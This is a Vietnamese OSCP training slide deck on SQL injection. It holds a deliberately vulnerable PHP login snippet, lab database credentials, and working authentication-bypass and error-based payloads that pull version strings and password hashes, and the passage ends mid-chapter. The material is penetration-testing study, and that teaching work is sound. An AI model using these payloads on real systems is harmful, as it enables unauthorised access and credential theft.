S
PWK / OSCP· Tài Liệu Học Tập PWK
Mở đầuTài Liệu Học Tập PWK

SQL Injection Attacks

PWK / OSCP · CHƯƠNG 10

SQL Injection Attacks

Từ nền tảng SQL và nhận diện DBMS đến khai thác thủ công, blind SQLi, code execution và tự động hóa bằng sqlmap.

MySQL / MSSQLError-basedUNION-basedBlind SQLixp_cmdshellsqlmap
Chỉ thực hành trong lab, hệ thống được ủy quyền hoặc môi trường đào tạo.
10. Mở đầuTài Liệu Học Tập PWK

Bản đồ nội dung Chương 10

01

SQL Theory & Databases

Ôn lại truy vấn SQL, luồng frontend–backend–database và khác biệt MySQL/MSSQL.

02

Manual SQL Exploitation

Nhận diện lỗi bằng quote/error, authentication bypass, UNION và blind SQLi.

03

Code Execution

Khai thác MSSQL với xp_cmdshell và MySQL với SELECT ... INTO OUTFILE.

04

Automation

Dùng sqlmap để nhận diện, dump dữ liệu và tạo os-shell từ request đã lưu.

Mục tiêuHiểu cơ chế trước khi tự động hóa; luôn xác minh bằng bằng chứng có thể tái hiện.
10. Mở đầuTài Liệu Học Tập PWK

Phương pháp làm việc xuyên suốt

01Xác định inputParameter nào do người dùng kiểm soát? GET, POST, cookie hay header?
02Thiết lập baselineGhi lại phản hồi hợp lệ, lỗi, status, độ dài và thời gian phản hồi.
03Xây giả thuyếtQuote, comment, boolean, số cột, kiểu dữ liệu hoặc khả năng ghi file.
04Xác minh từng bướcThay đổi một yếu tố mỗi lần và ghi lại request/response.
05Đánh giá tác độngTừ đọc dữ liệu đến authentication bypass, file write hoặc code execution.
Phạm viKhông sử dụng payload trên hệ thống ngoài phạm vi cho phép.
10.1 SQL Theory and DatabasesTài Liệu Học Tập PWK

SQL Theory and Databases

Learning Unit 10.1

SQL Theory and Databases

Ôn lại SQL, hiểu luồng dữ liệu của web application và làm quen với đặc điểm MySQL/MSSQL.

10.1 SQL Theory and DatabasesTài Liệu Học Tập PWK

Mục tiêu học tập

  • Hiểu vai trò của SQL trong việc truy vấn, chèn, sửa và xóa dữ liệu trong relational database.
  • Nhận diện cách frontend chuyển dữ liệu đến backend và cách backend tạo truy vấn database.
  • Đọc cú pháp SQL cơ bản và hiểu rủi ro khi input được nối trực tiếp vào query.
  • Kết nối, fingerprint và enumeration MySQL cùng Microsoft SQL Server.
Định hướng PWKSQLi không chỉ là một payload; cần hiểu query gốc, DBMS và dữ liệu ứng dụng mong đợi.
10.1.1 SQL Theory RefresherTài Liệu Học Tập PWK

SQL dùng để làm gì?

Q

Query

Truy xuất dữ liệu theo bảng, cột và điều kiện.

I

Insert

Tạo bản ghi mới trong database.

M

Modify

Cập nhật dữ liệu đã tồn tại.

D

Delete

Xóa dữ liệu theo điều kiện.

OS

OS Commands

Trong một số DBMS và điều kiện quyền phù hợp, SQL có thể dẫn đến thực thi lệnh hệ điều hành.

Rủi roMột query tùy ý có thể kế thừa quyền rất lớn của SQL service hoặc database user.
10.1.1 SQL Theory RefresherTài Liệu Học Tập PWK

Luồng dữ liệu của web application

01FrontendHTML, CSS và JavaScript thu nhận thao tác người dùng.
02HTTP RequestDữ liệu được gửi tới application layer trên server.
03BackendPHP, Java, Python hoặc framework xử lý logic.
04DatabaseBackend truy vấn hoặc thay đổi dữ liệu.
05ResponseKết quả được đưa trở lại giao diện.
Điểm kiểm thửSQLi thường xuất hiện tại ranh giới nơi input người dùng được đưa vào query backend mà không được xử lý an toàn.
10.1.1 SQL Theory RefresherTài Liệu Học Tập PWK

Các DBMS phổ biến

DBMSĐặc điểm trong chươngĐiều cần nhớ
MySQL / MariaDBRất phổ biến trên web; MariaDB là fork mã nguồn mở của MySQL.Hàm và cú pháp như version(), database(), INTO OUTFILE.
Microsoft SQL ServerTích hợp sâu với Windows và dùng TDS.Có thể dùng xp_cmdshell nếu được bật và có quyền.
PostgreSQLMột DBMS phổ biến khác.Cú pháp và hàm khác; không được giả định payload MySQL áp dụng nguyên dạng.
OracleDBMS doanh nghiệp phổ biến.Có cú pháp, catalog và hành vi riêng.
Nguyên tắcFingerprint DBMS trước khi dựa vào hàm, comment hoặc system catalog cụ thể.
10.1.1 SQL Theory RefresherTài Liệu Học Tập PWK

Giải phẫu một SELECT query

SELECT *

Yêu cầu trả về tất cả các cột.

FROM users

Chọn bảng users làm nguồn dữ liệu.

WHERE

Giới hạn bản ghi theo điều kiện.

user_name='leon'

Chỉ trả về bản ghi có username tương ứng.

Mục tiêuKhi kiểm thử SQLi, hãy cố gắng tái dựng query hoàn chỉnh mà backend có thể đang tạo.
10.1.1 SQL Theory RefresherTài Liệu Học Tập PWK

Truy vấn bản ghi người dùng

Listing 1 - SQL query that parses the users table
SELECT * FROM users WHERE user_name='leon'
Cách đọcQuery yêu cầu tất cả cột trong bảng users nhưng chỉ với bản ghi có user_name bằng leon.
10.1.1 SQL Theory RefresherTài Liệu Học Tập PWK

SQL thường được nhúng trong backend

  • Web application không yêu cầu người dùng nhập cả câu SQL; backend tạo query từ dữ liệu gửi lên.
  • Username và password thường được lấy từ POST request rồi đưa vào query đăng nhập.
  • Rủi ro xuất hiện khi dữ liệu không được kiểm tra hoặc parameterize trước khi query được thực thi.
  • Khi query được tạo bằng string concatenation, ký tự quote có thể thay đổi cấu trúc cú pháp.
Giả thuyếtInput có thể thoát khỏi chuỗi dữ liệu và trở thành một phần của cú pháp SQL.
10.1.1 SQL Theory RefresherTài Liệu Học Tập PWK

Query đăng nhập nhúng trong PHP

Listing 2 - SQL Query Embedded in PHP Login Source Code
<?php
$uname = $_POST['uname'];
$passwd =$_POST['password'];


$sql_query = "SELECT * FROM users WHERE user_name= '$uname' AND password='$passwd'";

$result = mysqli_query($con, $sql_query);
?>
Cách đọcHai biến $uname và $passwd đến từ POST request, sau đó được nối trực tiếp vào $sql_query.
10.1.1 SQL Theory RefresherTài Liệu Học Tập PWK

Theo dõi dữ liệu trong đoạn PHP

01$_POST['uname']Input username được lưu vào $uname.
02$_POST['password']Input password được lưu vào $passwd.
03$sql_queryHai giá trị được chèn trực tiếp vào chuỗi SQL.
04mysqli_queryQuery được gửi tới database.
05$resultKết quả database được lưu để ứng dụng xử lý.
Lưu ý thuật ngữChữ i trong mysqli_query là “improved”, không phải “injection”.
10.1.1 SQL Theory RefresherTài Liệu Học Tập PWK

Nguyên nhân gốc của lỗ hổng

  • Input user_namepassword được lấy trực tiếp từ request.
  • Không có bước kiểm tra, escaping hoặc parameterized query trước khi ghép chuỗi.
  • Ký tự đặc biệt do người dùng nhập có thể làm query cuối cùng khác với ý định của lập trình viên.
  • Ứng dụng chuyển query đã bị thay đổi tới database với quyền của database connection.
Điểm cần nhớLỗi không nằm ở SQL tự thân; lỗi nằm ở cách ứng dụng xây query từ dữ liệu không tin cậy.
10.1.1 SQL Theory RefresherTài Liệu Học Tập PWK

Từ input bình thường đến input phá cú pháp

InputQuery dự kiếnÝ nghĩa kiểm thử
leonTìm username leon.Baseline hợp lệ.
leon'+!@#$Query nhận thêm quote và ký tự đặc biệt.Có thể tạo syntax error hoặc thay đổi logic.
Payload SQL có cấu trúcQuery chứa toán tử, comment hoặc SELECT bổ sung.Có thể xác minh SQLi.
Quy trìnhBắt đầu từ ký tự đơn giản để quan sát khác biệt, không nhảy ngay tới payload phức tạp.
10.1.2 DB Types and CharacteristicsTài Liệu Học Tập PWK

DB Types and Characteristics

Learning Unit 10.1.2

DB Types and Characteristics

Khi chưa biết DBMS phía sau ứng dụng, cần chuẩn bị nhận diện cú pháp, hàm, catalog và đặc điểm riêng.

10.1.2 DB Types and CharacteristicsTài Liệu Học Tập PWK

Tư duy khi chưa biết DBMS

  • Không giả định một payload MySQL sẽ hoạt động nguyên dạng trên MSSQL, PostgreSQL hoặc Oracle.
  • Quan sát error message, banner, response và hành vi của các hàm để fingerprint hệ thống.
  • DBMS có thể chạy on-premise hoặc trong cloud; vị trí triển khai không làm mất khác biệt về cú pháp.
  • Enumeration nên trả lời: phiên bản nào, user hiện tại là ai, có những database/table nào và quyền ra sao.
Ghi notesLuôn ghi lại DBMS, version, current user, database hiện tại và cách đặt tên schema/table.
10.1.2 DB Types and CharacteristicsTài Liệu Học Tập PWK

MySQL và MariaDB

  • MySQL là một trong những DBMS được triển khai phổ biến nhất cho web application.
  • MariaDB là một fork mã nguồn mở của MySQL và có nhiều điểm tương thích.
  • Cổng mặc định trong ví dụ là TCP 3306.
  • Chương sử dụng MySQL client trên Kali để kết nối trực tiếp và enumeration.
Điều kiệnCần có network access và thông tin xác thực phù hợp để kết nối trực tiếp vào database service.
10.1.2 DB Types and CharacteristicsTài Liệu Học Tập PWK

Tham số kết nối MySQL

Thành phầnGiá trị trong ví dụÝ nghĩa
-urootDatabase username.
-p'root'Password được cung cấp trực tiếp.
-h192.168.50.16Remote host.
-P3306TCP port của MySQL.
Phân biệtMySQL root là database user, không tự động đồng nghĩa với Linux root.
10.1.2 DB Types and CharacteristicsTài Liệu Học Tập PWK

Kết nối MySQL từ Kali

Listing 3 - Connecting to the remote MySQL instance
kali@kali:~$ 
mysql -u root -p'root' -h 192.168.50.16 -P 3306


Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MySQL [(none)]>
Cách đọcPrompt MySQL [(none)]> cho biết đã kết nối nhưng chưa chọn database cụ thể.
10.1.2 DB Types and CharacteristicsTài Liệu Học Tập PWK

Đọc kết quả kết nối MySQL

  • Client thông báo implementation và cung cấp các lệnh trợ giúp như help;, \h\c.
  • Prompt MySQL [(none)]> xác nhận session đã sẵn sàng.
  • Thông tin kết nối thành công là baseline để tiếp tục fingerprint version và user.
  • Lỗi kết nối cần được phân biệt giữa network, port, TLS và credential.
Bước tiếp theoFingerprint version trước khi sử dụng cú pháp hoặc hàm phụ thuộc phiên bản.
10.1.2 DB Types and CharacteristicsTài Liệu Học Tập PWK

Lấy phiên bản MySQL

Listing 4 - Retrieving the version of a MySQL database
MySQL [(none)]> 
select version();

+-----------+
| version() |
+-----------+
| 
8.0.21
    |
+-----------+
1 row in set (0.107 sec)
Cách đọcHàm version() trả về MySQL 8.0.21 trong lab.
10.1.2 DB Types and CharacteristicsTài Liệu Học Tập PWK

Vì sao version quan trọng?

01

Cú pháp

Một số hàm và hành vi thay đổi theo version.

02

Vulnerability research

Version giúp đối chiếu CVE hoặc tính năng đã biết.

03

Payload compatibility

Comment, function và file-write behavior có thể khác.

04

Báo cáo

Version là bằng chứng kỹ thuật cần ghi lại.

Không kết luận vộiBanner/version chỉ là dấu hiệu; finding vẫn cần xác minh trong ngữ cảnh thực tế.
10.1.2 DB Types and CharacteristicsTài Liệu Học Tập PWK

Xác định database user hiện tại

Listing 5 - Inspecting the current session's user
MySQL [(none)]> 
select system_user();

+--------------------+
| system_user()      |
+--------------------+
| 
root@192.168.20.50
 |
+--------------------+
1 row in set (0.104 sec)
Cách đọcsystem_user() trả về username và hostname của connection hiện tại.
10.1.2 DB Types and CharacteristicsTài Liệu Học Tập PWK

Ý nghĩa của system_user()

  • Kết quả root@192.168.20.50 cho biết session sử dụng database user root.
  • Phần hostname thể hiện nguồn hoặc pattern host được MySQL gắn với account.
  • Quyền của database user quyết định khả năng đọc table, truy cập metadata hoặc ghi file.
  • Database root không tự động có quyền root trên hệ điều hành.
Điểm cần ghiUser hiện tại và quyền thực tế quan trọng hơn tên account đơn thuần.
10.1.2 DB Types and CharacteristicsTài Liệu Học Tập PWK

Liệt kê các database MySQL

Listing 6 - Listing all Available Databases
MySQL [(none)]> 
show databases;

+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
| sys                |
| test               |
+--------------------+
5 rows in set (0.107 sec)
Cách đọcSHOW DATABASES trả về bốn database hệ thống cùng database test.
10.1.2 DB Types and CharacteristicsTài Liệu Học Tập PWK

Phân loại database MySQL

DatabaseVai trò thường gặpƯu tiên kiểm thử
information_schemaMetadata về tables, columns và schemas.Rất hữu ích cho enumeration.
mysqlAccount và cấu hình MySQL.Nhạy cảm; cần quyền phù hợp.
performance_schemaThông tin hiệu năng và instrumentation.Có thể tiết lộ cấu hình/runtime.
sysView thân thiện hơn trên performance_schema.Thường là database hệ thống.
testDatabase tùy môi trường.Có thể chứa dữ liệu ứng dụng/lab.
Mục tiêuPhân biệt database mặc định với database tùy biến của ứng dụng.
10.1.2 DB Types and CharacteristicsTài Liệu Học Tập PWK

Truy vấn account offsec trong mysql.user

  • Chọn hai trường userauthentication_string.
  • Dùng WHERE user = 'offsec' để giới hạn đúng account.
  • Truy vấn system table thường yêu cầu quyền cao hơn truy vấn dữ liệu ứng dụng.
  • Giá trị trả về là representation đã hash, không phải plain-text password.
Bảo mậtKhông đưa hash/credential thật vào tài liệu công khai; trong slide này chỉ giữ dữ liệu lab của tài liệu gốc.
10.1.2 DB Types and CharacteristicsTài Liệu Học Tập PWK

Xem authentication string của user

Listing 7 - Inspecting user's encrypted password
MySQL [mysql]> 
SELECT user, authentication_string FROM mysql.user WHERE user = 'offsec';

+--------+------------------------------------------------------------------------+
| user   | authentication_string                                                  |
+--------+------------------------------------------------------------------------+
| offsec | 
$A$005$?qvorPp8#lTKH1j54xuw4C5VsXe5IAa1cFUYdQMiBxQVEzZG9XWd/e6
|
+--------+------------------------------------------------------------------------+
1 row in set (0.106 sec)
Cách đọcTài liệu mô tả giá trị được lưu bằng cơ chế Caching-SHA-256.
10.1.2 DB Types and CharacteristicsTài Liệu Học Tập PWK

Hash không phải plain text

  • Password hash là biểu diễn một chiều của mật khẩu ban đầu.
  • Ứng dụng và DBMS lưu hash để tránh lưu mật khẩu rõ.
  • Thu được hash vẫn là một finding nhạy cảm vì có thể dẫn đến credential recovery hoặc reuse.
  • Trong báo cáo cần phân biệt rõ: hash bị lộ, plain-text bị lộ hay chỉ metadata bị lộ.
NotesGhi algorithm, account, nguồn dữ liệu và quyền cần thiết để truy cập.
10.1.2 DB Types and CharacteristicsTài Liệu Học Tập PWK

MSSQL trong hệ sinh thái Windows

  • Microsoft SQL Server tích hợp tự nhiên với Windows.
  • Windows có công cụ dòng lệnh SQLCMD để chạy query cục bộ hoặc từ xa.
  • MSSQL sử dụng Tabular Data Stream (TDS) cho giao tiếp.
  • Impacket cung cấp impacket-mssqlclient để tương tác TDS từ Kali.
AuthenticationVí dụ dùng -windows-auth để ép NTLM thay cho Kerberos.
10.1.2 DB Types and CharacteristicsTài Liệu Học Tập PWK

Chuẩn bị kết nối MSSQL bằng Impacket

01CredentialAdministrator / Lab123 trong môi trường lab.
02Target192.168.50.18.
03Windows authThêm -windows-auth.
04TLS/TDSClient thương lượng encryption và TDS session.
05SQL promptBắt đầu enumeration database.
An toànKhông sử dụng thông tin xác thực mẫu ngoài lab của tài liệu.
10.1.2 DB Types and CharacteristicsTài Liệu Học Tập PWK

Kết nối MSSQL qua Impacket

Listing 8 - Connecting to the Remote MSSQL instance via Impacket
kali@kali:~$ 
impacket-mssqlclient Administrator:Lab123@192.168.50.18 -windows-auth

Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(SQL01\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(SQL01\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208)
[!] Press help for extra shell commands
SQL (SQLPLAYGROUND\Administrator  dbo@master)>
Cách đọcOutput cho thấy TLS được yêu cầu, database context là master và Windows authentication thành công.
10.1.2 DB Types and CharacteristicsTài Liệu Học Tập PWK

Đọc output kết nối MSSQL

  • Client chuyển sang TLS vì server yêu cầu encryption.
  • Database context ban đầu là master.
  • Language và packet size được server thay đổi trong quá trình thiết lập session.
  • Prompt chứa domain/máy, user, role/schema và database hiện tại.
Bằng chứngChụp output đủ để chứng minh session, nhưng che credential khi báo cáo cho bên thứ ba.
10.1.2 DB Types and CharacteristicsTài Liệu Học Tập PWK

Fingerprint MSSQL và Windows Server

Listing 9 - Retrieving the Windows OS Version
SQL (SQLPLAYGROUND\Administrator  dbo@master)> 
SELECT @@version;

...

Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64)
	Sep 24 2019 13:48:23
	Copyright (C) 2019 Microsoft Corporation
	
Express Edition (64-bit) on Windows Server 2022 Standard 10.0 <X64> (Build 20348: ) (Hypervisor)
Cách đọcSELECT @@version trả về SQL Server 2019 Express và Windows Server 2022 build 20348.
10.1.2 DB Types and CharacteristicsTài Liệu Học Tập PWK

Cú pháp SQLCMD và TDS

  • Trong sqlcmd, SQL statement thường kết thúc bằng dấu chấm phẩy rồi GO ở dòng riêng.
  • GO là batch separator của client, không phải một phần của TDS protocol.
  • Khi chạy query từ xa bằng Impacket, có thể bỏ GO.
  • Đây là ví dụ cho thấy cùng MSSQL nhưng client/tool có thể thay đổi cách nhập lệnh.
Điểm cần nhớPhân biệt cú pháp server với lệnh điều khiển của client.
10.1.2 DB Types and CharacteristicsTài Liệu Học Tập PWK

Liệt kê database MSSQL

Listing 10 - Inspecting the Available Databases
SQL (SQLPLAYGROUND\Administrator  dbo@master)> 
SELECT name FROM sys.databases;

name
...
master

tempdb

model

msdb

offsec

SQL>
Cách đọcsys.databases trả về bốn database mặc định và database tùy biến offsec.
10.1.2 DB Types and CharacteristicsTài Liệu Học Tập PWK

Database mặc định và database mục tiêu

DatabaseLoạiHướng xử lý
masterMặc địnhChứa metadata cấp instance.
tempdbMặc địnhDữ liệu tạm thời.
modelMặc địnhTemplate cho database mới.
msdbMặc địnhAgent, job, backup và metadata hệ thống.
offsecTùy biếnƯu tiên khám phá vì có thể chứa dữ liệu ứng dụng.
EnumerationTên database tùy biến thường là pivot tốt để tìm table ứng dụng.
10.1.2 DB Types and CharacteristicsTài Liệu Học Tập PWK

Liệt kê table trong offsec

Listing 11 - Inspecting the Available Tables in the offsec Database
SQL (SQLPLAYGROUND\Administrator  dbo@master)> 
SELECT * FROM offsec.information_schema.tables;

TABLE_CATALOG   TABLE_SCHEMA   TABLE_NAME   TABLE_TYPE   
-------------   ------------   ----------   ----------   
offsec          dbo            users        b'BASE TABLE'   

SQL (SQLPLAYGROUND\Administrator  dbo@master)> 
Cách đọcinformation_schema.tables cho thấy table users trong schema dbo.
10.1.2 DB Types and CharacteristicsTài Liệu Học Tập PWK

Cách định danh đối tượng MSSQL

offsec.dbo.users
DB

offsec

Tên database.

SCH

dbo

Schema của object.

TBL

users

Tên table.

Điểm cần nhớKhi query cross-database, cần dùng đúng database.schema.table.
10.1.2 DB Types and CharacteristicsTài Liệu Học Tập PWK

Đọc bản ghi users trên MSSQL

Listing 12 - Exploring Users Table Records
SQL>
select * from offsec.dbo.users;

username     password     
----------   ----------   

admin        lab
        

guest        guest 
Cách đọcTable trả về hai username cùng password ở dạng clear text trong lab.
10.1.2 DB Types and CharacteristicsTài Liệu Học Tập PWK

So sánh nhanh MySQL và MSSQL

Hạng mụcMySQLMSSQL
Client trong chươngmysqlimpacket-mssqlclient
Port phổ biến33061433
Versionversion() / @@version@@version
Metadatainformation_schemasys.databases, information_schema
Code execution trong chươngINTO OUTFILE + webshellxp_cmdshell
Cảnh báoPort và function phổ biến không phải bằng chứng duy nhất để fingerprint DBMS.
10.1.2 DB Types and CharacteristicsTài Liệu Học Tập PWK

Checklist enumeration database

Xác nhận service, port và khả năng kết nối.
Fingerprint DBMS và version.
Xác định current user và quyền.
Liệt kê database/schema tùy biến.
Liệt kê table và column liên quan ứng dụng.
Ghi rõ cú pháp DBMS-specific.
Phân biệt hash với plain-text password.
Không bỏ qua lỗi, TLS và client behavior.
Dấu hiệu chuyển bướcKhi đã hiểu DBMS, schema và query context, bắt đầu kiểm thử injection có kiểm soát.
10.1.2 DB Types and CharacteristicsTài Liệu Học Tập PWK

Bài thực hành của Learning Unit

VM1

MySQL enumeration

Kết nối và khám phá account offsec cùng plugin authentication.

VM2

MSSQL enumeration

Khám phá sysusers trong master database.

VM3

MySQL data discovery

Tìm database và table users trong phạm vi lab.

Không có đáp ánSlide giữ mục tiêu thực hành nhưng không cung cấp flag hoặc lời giải lab.
10.2 Manual SQL ExploitationTài Liệu Học Tập PWK

Manual SQL Exploitation

Learning Unit 10.2

Manual SQL Exploitation

Nhận diện SQLi thủ công, authentication bypass, error-based, UNION-based và blind SQL injection.

10.2 Manual SQL ExploitationTài Liệu Học Tập PWK

Mục tiêu học tập

  • Nhận diện SQL injection bằng input gây lỗi và payload có kiểm soát.
  • Hiểu cơ chế authentication bypass.
  • Xây payload UNION đáp ứng số cột và kiểu dữ liệu.
  • Phân biệt boolean-based với time-based blind SQLi.
  • Ghi lại bằng chứng và giới hạn của từng kỹ thuật.
Phương phápHiểu và xác minh thủ công trước khi dùng công cụ tự động như sqlmap.
10.2 Manual SQL ExploitationTài Liệu Học Tập PWK

Vì sao cần làm thủ công trước?

01

Hiểu cơ chế

Biết payload thay đổi query gốc như thế nào.

02

Giảm nhiễu

Thử một số input có chủ đích thay vì gửi hàng nghìn request.

03

Chọn kỹ thuật

Quyết định error, UNION, boolean hay time-based dựa trên phản hồi.

04

Báo cáo tốt hơn

Mô tả root cause và các bước tái hiện rõ ràng.

Điểm cần nhớCông cụ có thể tìm lỗi, nhưng người kiểm thử phải giải thích được vì sao lỗi xảy ra.
10.2.1 Error-based PayloadsTài Liệu Học Tập PWK

Identifying SQLi via Error-based Payloads

10.2.1

Identifying SQLi via Error-based Payloads

Từ code dễ tổn thương đến quote test, authentication bypass và khai thác error message để enumeration.

10.2.1 Error-based PayloadsTài Liệu Học Tập PWK

PHP code dễ bị SQL injection

Listing 13 - PHP Code Vulnerable to SQL injection
<?php
$uname = $_POST['uname'];
$passwd =$_POST['password'];


$sql_query = "SELECT * FROM users WHERE user_name= '$uname' AND password='$passwd'";

$result = mysqli_query($con, $sql_query);
?>
Cách đọcCả uname và password đều đến từ người dùng và được ghép trực tiếp vào query.
10.2.1 Error-based PayloadsTài Liệu Học Tập PWK

Tainted input đi vào query

01User inputuname / password.
02String contextInput nằm giữa dấu quote trong query.
03Close quotePayload có thể kết thúc chuỗi sớm.
04Inject logicThêm OR, SELECT hoặc function.
05Comment remainderVô hiệu hóa phần query còn lại.
Giả thuyếtNếu quote test làm phản hồi thay đổi, input có thể đang đi vào SQL parser.
10.2.1 Error-based PayloadsTài Liệu Học Tập PWK

Cơ chế comment trong payload

  • Payload đóng quote của giá trị username.
  • Thêm OR 1=1 để tạo điều kiện luôn đúng.
  • Comment MySQL dùng hai dấu gạch ngang và cần ít nhất một whitespace phía sau.
  • Tài liệu thêm // sau whitespace để payload dễ nhìn và giảm rủi ro whitespace truncation.
Cảnh báoComment syntax có thể khác theo DBMS; không sao chép máy móc.
10.2.1 Error-based PayloadsTài Liệu Học Tập PWK

Payload authentication bypass

Listing 14 - Testing for SQLi Authentication Bypass
offsec' OR 1=1 -- //
Cách đọcPayload đóng chuỗi username, thêm điều kiện luôn đúng và comment phần query phía sau.
10.2.1 Error-based PayloadsTài Liệu Học Tập PWK

Query sau khi bị injection

Listing 15 - Injected SQL statement
SELECT * FROM users WHERE 
user_name= 'offsec' OR 1=1
 --
Cách đọcĐiều kiện password không còn được đánh giá vì phần sau đã bị comment.
10.2.1 Error-based PayloadsTài Liệu Học Tập PWK

Vì sao authentication bypass hoạt động?

01WHERE clauseTìm user_name bằng giá trị đã chèn.
02OR 1=1Toàn bộ điều kiện trở thành TRUE.
03CommentLoại bỏ phần kiểm tra password còn lại.
04First rowQuery trả về một bản ghi người dùng.
05Application logicỨng dụng xem có kết quả là đăng nhập thành công.
Root causeQuery construction không an toàn cộng với logic xác thực chỉ kiểm tra việc có bản ghi trả về.
10.2.1 Error-based PayloadsTài Liệu Học Tập PWK

Trang đăng nhập của lab

Figure 1: Testing for SQLi Authentication Bypass 1
  • Thiết lập baseline với username/password không hợp lệ.
  • Quan sát thông báo và trạng thái trước khi thay đổi input.
  • Không suy luận SQLi chỉ từ giao diện; cần phản hồi khác biệt.
Figure 1: Testing for SQLi Authentication Bypass 1
10.2.1 Error-based PayloadsTài Liệu Học Tập PWK

Baseline: mật khẩu không hợp lệ

Figure 2: Testing for SQLi Authentication Bypass 2
  • Ứng dụng trả về Invalid Password cho cặp credential sai.
  • Baseline này dùng để so sánh với quote test và payload bypass.
  • Ghi lại URL, method, parameter và response.
Figure 2: Testing for SQLi Authentication Bypass 2
10.2.1 Error-based PayloadsTài Liệu Học Tập PWK

Quote test trước khi khai thác

  • Thêm một dấu quote đơn vào trường Username.
  • Gửi request và so sánh phản hồi với baseline.
  • Syntax error là dấu hiệu input đã ảnh hưởng tới SQL parser.
  • Không phải ứng dụng production nào cũng hiển thị database error; lỗi có thể bị che.
Không kết luận một bướcSyntax error là dấu hiệu mạnh, nhưng vẫn cần payload xác minh có kiểm soát.
10.2.1 Error-based PayloadsTài Liệu Học Tập PWK

Chèn quote vào Username

Figure 3: SQLi payload inside the 'Username' field
  • Quote đơn được thêm sau username.
  • Mục tiêu là phá cấu trúc chuỗi SQL.
  • Không cần dùng payload phức tạp ở bước đầu.
Figure 3: SQLi payload inside the 'Username' field
10.2.1 Error-based PayloadsTài Liệu Học Tập PWK

SQL syntax error xác nhận tương tác

Figure 4: Testing for SQLi Authentication Bypass 2
  • Phản hồi khác baseline.
  • Error message tiết lộ SQL parser đã nhận input.
  • Ứng dụng production thường tắt SQL debugging.
Figure 4: Testing for SQLi Authentication Bypass 2
Điểm cần nhớError message chi tiết tự nó cũng là một vấn đề information disclosure.
10.2.1 Error-based PayloadsTài Liệu Học Tập PWK

In-band SQL injection

  • In-band nghĩa là kết quả query hoặc database error xuất hiện trong phản hồi ứng dụng.
  • Trong lab, SQL debugging được bật để minh họa cơ chế.
  • Trong môi trường thực, error có thể được thay bằng thông báo chung.
  • Khi error bị che, cần chuyển sang UNION, boolean hoặc time-based tùy hành vi.
Dấu hiệu chuyển hướngNếu không thấy output trực tiếp nhưng phản hồi thay đổi có quy luật, kiểm tra blind SQLi.
10.2.1 Error-based PayloadsTài Liệu Học Tập PWK

Gửi payload bypass trong form

Figure 5: Testing for Error-based payload
  • Payload được đặt trong trường Username.
  • Password có thể là giá trị bất kỳ vì phần kiểm tra bị comment.
  • Giữ nguyên các thành phần khác để cô lập biến thử nghiệm.
Figure 5: Testing for Error-based payload
10.2.1 Error-based PayloadsTài Liệu Học Tập PWK

Authentication Successful

Figure 6: Testing for Error-based payload
  • Phản hồi khác hoàn toàn baseline.
  • Payload đã thay đổi logic WHERE clause.
  • Đây là bằng chứng tác động, không chỉ là lỗi cú pháp.
Figure 6: Testing for Error-based payload
Điểm cần nhớBáo cáo cần mô tả query logic và tác động xác thực, không chỉ chụp thông báo thành công.
10.2.1 Error-based PayloadsTài Liệu Học Tập PWK

Error-based payload lấy version

Listing 16 - Error-based payload
' or 1=1 in (
select @@version
) -- //
Cách đọcSubquery yêu cầu @@version; database error có thể đưa giá trị vào phản hồi.
10.2.1 Error-based PayloadsTài Liệu Học Tập PWK

Đọc kết quả version từ error

  • MySQL chấp nhận cả version()@@version.
  • Trong lab, version 8.0.28 được phản chiếu cùng error message.
  • Khi database value xuất hiện, có thể tiếp tục query dữ liệu có chọn lọc.
  • Không nên dump dữ liệu rộng hơn mức cần thiết để chứng minh finding.
Tối thiểu hóa dữ liệuChỉ lấy lượng dữ liệu cần để chứng minh tác động trong phạm vi được duyệt.
10.2.1 Error-based PayloadsTài Liệu Học Tập PWK

Thử SELECT * trong subquery

  • Payload tiếp theo cố lấy toàn bộ cột của table users.
  • Subquery trong ngữ cảnh này cần trả về một giá trị đơn.
  • Nếu query trả nhiều cột, database báo lỗi.
  • Error đó hướng dẫn ta thu hẹp xuống từng cột.
Cách suy luậnError không chỉ là thất bại; nó cho biết constraint của vị trí injection.
10.2.1 Error-based PayloadsTài Liệu Học Tập PWK

Thử lấy toàn bộ table users

Listing 17 - Attempting to retrieve the Users table
' OR 1=1 in (
SELECT * FROM users
) -- //
Cách đọcSELECT * trả nhiều cột, không phù hợp với ngữ cảnh subquery cần một scalar value.
10.2.1 Error-based PayloadsTài Liệu Học Tập PWK

Chỉ truy vấn cột password

Chỉ truy vấn cột password
' or 1=1 in (
SELECT password FROM users
) -- //
Cách đọcTài liệu không đánh số listing cho payload này; query chỉ lấy một cột để phù hợp ngữ cảnh.
10.2.1 Error-based PayloadsTài Liệu Học Tập PWK

Các password hash được trả về

Figure 7: Retrieving Users Hashes
  • Chuyển từ SELECT * sang một cột đã vượt qua lỗi số cột.
  • Nhiều hash được trả về nhưng chưa gắn với username.
  • Bằng chứng hữu ích nhưng chưa đủ ngữ cảnh.
Figure 7: Retrieving Users Hashes
10.2.1 Error-based PayloadsTài Liệu Học Tập PWK

Giới hạn hash theo username admin

Listing 18 - Improving our SQLi error-based payload
' or 1=1 in (
SELECT password FROM users WHERE username = 'admin'
) -- //
Cách đọcWHERE username = 'admin' giúp ánh xạ chính xác hash với account.
10.2.1 Error-based PayloadsTài Liệu Học Tập PWK

Lấy hash của admin có chọn lọc

Figure 8: Retrieving Users Hashes
  • Payload trả về hash gắn với account admin.
  • Kết quả có thể tái hiện và dễ mô tả trong báo cáo.
  • Không cần lấy toàn bộ dữ liệu để chứng minh impact.
Figure 8: Retrieving Users Hashes
10.2.1 Error-based PayloadsTài Liệu Học Tập PWK

Workflow error-based SQLi

01BaselineCredential sai hoặc request hợp lệ.
02Quote testQuan sát syntax error hoặc response khác.
03Logic testAuthentication bypass / boolean condition.
04Scalar queryLấy version hoặc một cột.
05Narrow scopeDùng WHERE để xác minh dữ liệu cụ thể.
